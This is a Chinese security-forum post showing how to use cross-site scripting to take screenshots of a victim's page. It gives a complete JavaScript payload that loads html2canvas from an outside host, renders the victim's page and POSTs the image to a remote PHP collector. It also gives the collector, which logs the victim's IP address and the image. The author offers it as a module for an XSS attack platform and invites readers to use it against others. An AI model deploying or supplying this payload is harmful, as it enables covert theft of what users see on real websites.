利用XSS截取屏幕截图

2013-08-29 21:17:40 150 14953 7


文章来源:y35u



2个月前,长短短(Sogili)在群里发了一个html2canvas.js  并给了一个POC
我写了一个完整的js来获得对方的屏幕截图

看代码
document.write("<script src=\"http:\/\/xj.hk\/html2canvas.js\"><\/script>");   <br>//调用截屏核心功能js,下载地址:http://xj.hk/html2canvas.js

window.onload=function(){
        html2canvas(document.body, {
        onrendered: function(canvas) {

//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
xhr=function(){
        var request = false;
        if(window.XMLHttpRequest){
                request = new XMLHttpRequest();
        }else if (window.ActiveXObject){
                try{
                        request = new window.ActiveXObject('Microsoft.XMLHTTP');
                }catch(e){
                 
                }
        }

        return request;
}();

request = function(method,src,argv,content_type){
        xhr.open(method,src,false);
        if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
        xhr.send(argv);                                         //发送POST数据
        return xhr.responseText;
};

attack_a = function(){
        var src         = "http://xj.hk/jp.php";                 //post接收地址
        var argv_0      = "'&screenshot="+canvas.toDataURL();    //post字段名称为screenshot
        request("POST",src,argv_0,"application/x-www-form-urlencoded");
};

attack_a();


                                  }
                                });
                        }
如上图1,我把这个加入到了xssme平台里面(配置如上图),可以作为一个模块使用

当然,你也可以直接把这个保存为1.js,去x别人



下面就说接收端了,很简单,上面的js,把数据发送给了
http://xj.hk/jp.php



我们就做一个jp.php
代码如下
<?php
$screenshot=$_POST['screenshot'];
$fp=fopen("xss.txt", "at");
fputs($fp, "TIME: ".date("Y/m/d H:i:s")."  IP: ".$_SERVER['REMOTE_ADDR']."  image : ".$screenshot." \n");
fclose($fp);
?>
我们看下x到的结果




看到了 很长很长的一段data

我们把这个data复制,并放入火狐的url中去访问,就能看到被x的人的屏幕截图咯





关于作者

lmy91篇文章845篇回复深圳市计算机安全应急服务中心 安全工程师

评论150次

要评论?请先  登录  或  注册